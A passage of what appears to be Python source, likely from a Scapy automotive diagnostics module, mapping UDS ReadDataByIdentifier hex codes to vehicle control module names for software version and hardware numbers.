"Switch_module_for_driver_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6456] = "Switch_module_for_front_passenger_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6457] = "Switch_module_for_rear_seat_driver_side_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6458] = "Switch_module_for_rear_seat_front_passenger_side_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6459] = "Switch_module_2_for_driver_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x645a] = "Battery_charger_unit_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x645b] = "Battery_charger_unit_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x645c] = "Battery_charger_unit_3_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x645d] = "Air_conditioning_compressor_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x645e] = "Neck_heating_left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x645f] = "Neck_heating_right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6460] = "Switch_module_2_for_front_passenger_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6461] = "Switch_module_2_for_rear_seat_front_passenger_side_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6462] = "Compact_disc_database_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6463] = "Rear_climatronic_operating_and_display_unit_left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6464] = "Rear_climatronic_operating_and_display_unit_right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6465] = "Door_handle_front_left_Kessy_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6466] = "Door_handle_front_right_Kessy_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6467] = "Door_handle_rear_left_Kessy_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6468] = "Door_handle_rear_right_Kessy_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6469] = "Power_converter_DC_AC_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x646a] = "Battery_monitoring_control_module_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x646b] = "Matrix_headlamp_powermodule_1_left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x646c] = "Matrix_headlamp_powermodule_1_right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x646d] = "High_beam_powermodule_left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x646e] = "High_beam_powermodule_right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x646f] = "Air_suspension_compressor_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6470] = "Rear_brake_actuator_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6471] = "Rear_brake_actuator_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6472] = "Analog_clock_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6473] = "Rear_door_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6479] = "Data_medium_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x647a] = "Operating_unit_center_console_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x647b] = "Operating_unit_center_console_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x647c] = "Operating_unit_center_console_3_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x647d] = "Operating_unit_center_console_4_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x647e] = "Interface_for_radiodisplay_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x647f] = "Parkassist_entry_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6486] = "Belt_pretensioner_3rd_row_left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6487] = "Belt_pretensioner_3rd_row_right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6488] = "Injection_valve_heater_control_unit_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6489] = "Steering_column_switch_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x648a] = "Brake_assistance_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x648b] = "Trailer_articulation_angle_sensor_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x648c] = "Cup_holder_with_heater_and_cooling_element_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x648d] = "Range_of_vision_sensing_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x648e] = "Convenience_and_driver_assist_operating_unit_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x648f] = "Cradle_rear_climatronic_operating_and_display_unit_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6490] = "Trailer_weight_nose_weight_detection_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6491] = "Sensor_carbon_dioxide_concentration_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6492] = "Sensor_fine_dust_concentration_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6493] = "Volume_control_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6494] = "Belt_buckle_presenter_2nd_row_left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6495] = "Belt_buckle_presenter_2nd_row_right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6496] = "Operating_and_display_unit_6_for_air_conditioning_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6497] = "Active_accelerator_pedal_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6498] = "Multimedia_operating_unit_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6499] = "Display_unit_3_for_multimedia_system_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x649a] = "Display_unit_4_for_multimedia_system_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x649b] = "Display_unit_5_for_multimedia_system_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x649c] = "Control_module_for_auxiliary_blower_motors_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x649d] = "Operating_and_display_unit_3_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x649e] = "Operating_and_display_unit_4_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x649f] = "Operating_and_display_unit_5_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64a0] = "Side Sensor Driver Front_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64a1] = "Side Sensor Passenger Front_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64a2] = "Side Sensor Driver Rear_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64a3] = "Side Sensor Passenger Rear_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64a4] = "Front Sensor Driver_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64a5] = "Front Sensor Passenger_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64a6] = "Pedestrian Protection Driver_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64a7] = "Pedestrian Protection Passenger_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64a8] = "Rear Sensor Center_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64a9] = "Pedestrian Protection Center_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64aa] = "Pedestrian Protection Contact_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64ab] = "Pedestrian_protection_driver_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64ac] = "Pedestrian_protection_passenger_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64ad] = "Central_sensor_XY_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64ae] = "Refrigerant_pressure_and_temperature_sender_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64af] = "Refrigerant_pressure_and_temperature_sender_3_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64b0] = "Switch_for_rear_multicontour_seat_driver_side_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64b1] = "Valve_block_1_in_driver_side_rear_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64b2] = "Valve_block_2_in_driver_side_rear_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64b3] = "Valve_block_3_in_driver_side_rear_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64b4] = "Switch_for_rear_multicontour_seat_passenger_side_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64b5] = "Valve_block_1_in_passenger_side_rear_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64b6] = "Valve_block_2_in_passenger_side_rear_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64b7] = "Valve_block_3_in_passenger_side_rear_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64b8] = "Switch_for_front_multicontour_seat_driver_side_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64b9] = "Valve_block_1_in_driver_side_front_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64ba] = "Valve_block_2_in_driver_side_front_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64bb] = "Valve_block_3_in_driver_side_front_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64bc] = "Switch_for_front_multicontour_seat_passenger_side_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64bd] = "Valve_block_1_in_passenger_side_front_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64be] = "Valve_block_2_in_passenger_side_front_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64bf] = "Valve_block_3_in_passenger_side_front_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64c0] = "Coolant_heater_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64c1] = "Seat_backrest_fan_1_front_left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64c2] = "Seat_backrest_fan_2_front_left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64c3] = "Seat_cushion_fan_1_front_left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64c4] = "Seat_cushion_fan_2_front_left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64c5] = "Seat_backrest_fan_1_front_right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64c6] = "Seat_backrest_fan_2_front_right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64c7] = "Seat_cushion_fan_1_front_right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64c8] = "Seat_cushion_fan_2_front_right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64c9] = "Operating_and_display_unit_1_for_air_conditioning_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64ca] = "Operating_and_display_unit_2_for_air_conditioning_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64cb] = "Operating_and_display_unit_3_for_air_conditioning_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64cc] = "Operating_and_display_unit_4_for_air_conditioning_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64cd] = "Operating_and_display_unit_5_for_air_conditioning_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64ce] = "Pedestrian_protection_left_hand_side_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64cf] = "Pedestrian_protection_right_hand_side_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64d0] = "Battery_junction_box_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64d1] = "Cell_module_controller_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64d2] = "Cell_module_controller_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64d3] = "Cell_module_controller_3_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64d4] = "Cell_module_controller_4_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64d5] = "Cell_module_controller_5_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64d6] = "Cell_module_controller_6_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64d7] = "Cell_module_controller_7_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64d8] = "Cell_module_controller_8_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64d9] = "Cell_module_controller_9_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64da] = "Cell_module_controller_10_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64db] = "Cell_module_controller_11_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64dc] = "Cell_module_controller_12_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64dd] = "Seat_backrest_fan_1_rear_left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64de] = "Seat_backrest_fan_2_rear_left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64df] = "Seat_cushion_fan_1_rear_left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64e0] = "Seat_cushion_fan_2_rear_left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64e1] = "Seat_backrest_fan_1_rear_right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64e2] = "Seat_backrest_fan_2_rear_right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64e3] = "Seat_cushion_fan_1_rear_right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64e4] = "Seat_cushion_fan_2_rear_right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64e5] = "Auxiliary_blower_motor_control_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64e6] = "Auxiliary_blower_motor_control_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64e7] = "Infrared_sender_for_front_observation_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64e8] = "Starter_generator_control_module_sub_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64e9] = "Media_player_1_sub_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64ea] = "Media_player_2_sub_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64eb] = "Dedicated_short_range_communication_aerial_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64ec] = "Refrigerant_pressure_and_temperature_sender_4_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64ed] = "Refrigerant_pressure_and_temperature_sender_5_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64ee] = "Refrigerant_pressure_and_temperature_sender_6_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64ef] = "Air_coolant_actuator_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64f0] = "Air_coolant_actuator_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64f1] = "Cell_module_controller_13_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64f2] = "Cell_module_controller_14_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64f3] = "Cell_module_controller_15_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64f5] = "Seat_heating_rear_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64f6] = "LED_warning_indicator_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64f7] = "Automatic_transmission_fluid_pump_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64f8] = "Manual_transmission_fluid_pump_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64f9] = "Convenience_and_driver_assist_operating_unit_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64fb] = "Air_coolant_actuator_3_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64fc] = "Valve_block_4_in_driver_side_rear_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64fd] = "Valve_block_4_in_passenger_side_rear_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64fe] = "Valve_block_4_in_driver_side_front_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x64ff] = "Valve_block_4_in_passenger_side_front_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6501] = "Rear_climatronic_operating_and_display_unit_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6502] = "Refrigerant_expansion_valve_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6503] = "Refrigerant_expansion_valve_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6504] = "Refrigerant_expansion_valve_3_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6505] = "Refrigerant_shut_off_valve_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6506] = "Refrigerant_shut_off_valve_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6507] = "Refrigerant_shut_off_valve_3_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6508] = "Refrigerant_shut_off_valve_4_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6509] = "Refrigerant_shut_off_valve_5_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x650a] = "Sunlight_sensor_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x650b] = "Near_field_communication_control_module_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x650c] = "Clutch_control_unit_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x650d] = "Electrical_charger_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x650e] = "Rear_light_left_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x650f] = "Rear_light_right_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6510] = "Rear_light_right_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6511] = "Sunlight_sensor_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6512] = "Radiator_shutter_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6513] = "Radiator_shutter_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6514] = "Radiator_shutter_3_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6515] = "Radiator_shutter_4_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6518] = "Special_key_operating_unit_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6519] = "Radio_interface_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x651a] = "Video_self_protection_recorder_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x651b] = "Special_vehicle_assist_interface_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x651c] = "Electric_system_disconnection_diode_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x651d] = "Cradle_rear_climatronic_operating_and_display_unit_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x651e] = "Belt_pretensioner_2nd_row_left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x651f] = "Belt_pretensioner_2nd_row_right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6520] = "Electrical_variable_camshaft_phasing_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6521] = "Electrical_variable_camshaft_phasing_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6522] = "Wireless_operating_unit_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6523] = "Wireless_operating_unit_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6524] = "Front_windshield_washer_pump_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6525] = "Air_quality_sensor_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6526] = "Fragrancing_system_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6527] = "Coolant_valve_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6528] = "Near_field_communication_control_module_3_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6529] = "Interior_monitoring_rear_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x652a] = "Cooler_fan_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x652b] = "Control_unit_heating_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x652c] = "Control_unit_heating_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x652d] = "Control_unit_heating_3_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x652e] = "Control_unit_heating_4_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x652f] = "Operating_unit_drive_mode_selection_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6530] = "Side_sensor_a-pillar_driver_front_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6531] = "Side_sensor_a-pillar_passenger_front_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6532] = "Sensor_high_voltage_system_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6533] = "Side_sensor_b-pillar_driver_front_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6534] = "Side_sensor_b-pillar_passenger_front_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6535] = "Multi_function_steering_wheel_control_module_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6536] = "Gear_selection_display_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6537] = "Cooler_fan_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6538] = "Gear_selector_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6539] = "Interior_light_module_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x653a] = "Radio_control_center_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x653b] = "Multimedia_extension_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x653c] = "Control_unit_differential_lock_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x653d] = "Control_unit_ride_control_system_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x653e] = "Control_unit_hands_on_detection_steering_wheel_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x653f] = "Front_climatronic_operating_and_display_unit_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6540] = "Auxiliary_display_unit_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6541] = "Card_reader_tv_tuner_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6542] = "Park_lock_actuator_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6543] = "Media_connector_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6544] = "Catalyst_heating_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6601] = "Control_unit_for_wiper_motor_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6602] = "Rain_light_recognition_sensor_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6603] = "Light_switch_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6604] = "Garage_door_opener_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6605] = "Garage_door_opener_operating_unit_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6606] = "Ignition_key_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6607] = "Left_front_seat_ventilation_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6608] = "Right_front_seat_ventilation_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6609] = "Left_rear_seat_ventilation_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x660a] = "LED_headlamp_powermodule_left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x660b] = "LED_headlamp_powermodule_right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x660c] = "LED_headlamp_powermodule_2_left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x660d] = "LED_headlamp_powermodule_2_right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x660e] = "Operating_and_display_unit_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x660f] = "Operating_and_display_unit_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6610] = "Right_rear_seat_ventilation_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6611] = "Data_medium_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6612] = "Drivers_door_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6613] = "Front_passengers_door_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6614] = "Left_headlamp_power_output_stage_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6615] = "Right_headlamp_power_output_stage_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6616] = "Sensor_for_anti_theft_alarm_system_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6617] = "Rear_lid_control_module_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6618] = "Alarm_horn_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6619] = "Automatic_day_night_interior_mirror_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x661a] = "Remote_control_auxiliary_heater_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x661b] = "Fresh_air_blower_front_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x661c] = "Fresh_air_blower_back_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x661d] = "Alternator_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x661e] = "Interior_light_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x661f] = "Refrigerant_pressure_and_temperature_sender_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6620] = "Sun_roof_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6621] = "Steering_column_lock_actuator_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6622] = "Anti_theft_tilt_system_control_unit_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6623] = "Tire_pressure_monitor_antenna_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6624] = "Heated_windshield_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6625] = "Rear_light_left_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6626] = "Ceiling_light_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6627] = "Left_front_massage_seat_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6628] = "Right_front_massage_seat_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6629] = "Control_module_for_auxiliary_air_heater_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x662a] = "Belt Pretensioner left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x662b] = "Belt Pretensioner right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x662c] = "Occupant Detection_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x662d] = "Selector_lever_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x662e] = "NOx_sensor_1_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x662f] = "NOx_sensor_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6630] = "Ioniser_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6631] = "Multi_function_steering_wheel_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6632] = "Left_rear_door_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6633] = "Right_rear_door_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6634] = "Left_rear_massage_seat_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6635] = "Right_rear_massage_seat_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6636] = "Display_unit_1_for_multimedia_system_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6637] = "Battery_monitoring_control_module_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6638] = "Roof_blind_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6639] = "Sun_roof_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x663a] = "Steering_angle_sender_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x663b] = "Lane_change_assistant 2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x663c] = "Pitch_rate_sender_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x663d] = "ESP_sensor_unit_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x663e] = "Electronic_ignition_lock_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x663f] = "Air_quality_sensor_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6640] = "Display_unit_2_for_multimedia_system_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6641] = "Telephone_handset_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x6642] = 